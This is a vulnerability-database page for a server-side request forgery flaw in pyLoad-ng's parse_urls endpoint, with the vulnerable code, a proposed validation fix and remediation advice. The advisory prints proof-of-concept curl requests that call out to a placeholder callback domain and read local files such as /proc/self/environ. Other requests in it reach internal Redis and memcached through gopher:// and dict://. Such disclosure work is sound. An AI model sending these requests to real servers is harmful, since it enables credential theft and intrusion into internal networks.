Docker
CVE-2026-35187
HIGH
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url)
# NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latestLog in as any user with ADD permission and extract the CSRF token:
CSRF=PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urlsResult: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd,/etc/hosts/proc/self/environ(process environment variables)/config/settings/pyload.cfg(pyLoad configuration)/config/data/pyload.db(SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urlsBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
from urllib.parse import urlparse
import ipaddress
import socket
def _is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
hostname = parsed.hostname
if not hostname:
return False
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except (socket.gaierror, ValueError):
return False
return True
def parse_urls(self, html=None, url=None):
if url:
if not _is_safe_url(url):
raise ValueError("URL targets a restricted address or uses a disallowed protocol")
page = get_url(url)
urls.update(RE_URLMATCH.findall(page))AnalysisAI
Server-Side Request Forgery in pyLoad-ng allows authenticated users with ADD permissions to read local files via file:// protocol, access internal network services, and exfiltrate cloud metadata. The parse_urls API endpoint fetches arbitrary URLs without protocol validation, enabling attackers to read /etc/passwd, configuration files, SQLite databases, and AWS/GCP metadata endpoints at 169.254.169.254. Error-based responses create a file existence oracle. Multi-protocol support (file://, gopher://, dict://) escalates impact beyond standard HTTP SSRF. CVSS 7.7 reflects network attack vector, low complexity, and scope change with high confidentiality impact. No public exploit code identified at time of analysis, though detailed proof-of-concept included in advisory demonstrates exploitation via curl commands against Docker deployments.
Technical ContextAI
PyLoad-ng is a Python-based download manager (distributed as pkg:pip/pyload-ng) that uses pycurl for HTTP operations. The vulnerability exists in src/pyload/core/api/__init__.py line 556, where the parse_urls function directly passes user-supplied URLs to get_url() without validation. PycURL's default configuration supports multiple protocols beyond HTTP/HTTPS, including file:// for local filesystem access, gopher:// for TCP stream manipulation, and dict:// for dictionary server queries. CWE-918 (Server-Side Request Forgery) occurs when applications fetch remote resources based on user input without validating destination addresses or allowed protocols. The lack of IP address filtering (private ranges, loopback, link-local) and protocol whitelisting allows attackers to bypass network segmentation. The function's error handling creates an oracle pattern where successful file reads return empty responses while nonexistent paths trigger pycurl error 37, enabling file enumeration without reading content directly.
RemediationAI
Apply vendor-released patch from the pyLoad project repository at https://github.com/pyload/pyload per security advisory GHSA-2wvg-62qm-gj33 available at https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33. The advisory includes a proposed fix implementing URL validation via _is_safe_url() function that restricts protocols to HTTP/HTTPS only and blocks private IP ranges (RFC1918), loopback addresses, link-local, and reserved ranges using Python's ipaddress module. Until patching, implement network-level controls to restrict outbound connections from pyLoad containers/servers, blocking access to metadata endpoints (169.254.169.254) and internal RFC1918 ranges via firewall rules. Review user permissions to limit ADD capability to trusted administrators only. For Docker deployments, update to patched linuxserver/pyload-ng image versions when available. Monitor server-side request logs for suspicious file://, gopher://, or dict:// protocol usage and requests to internal IP ranges.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-2wvg-62qm-gj33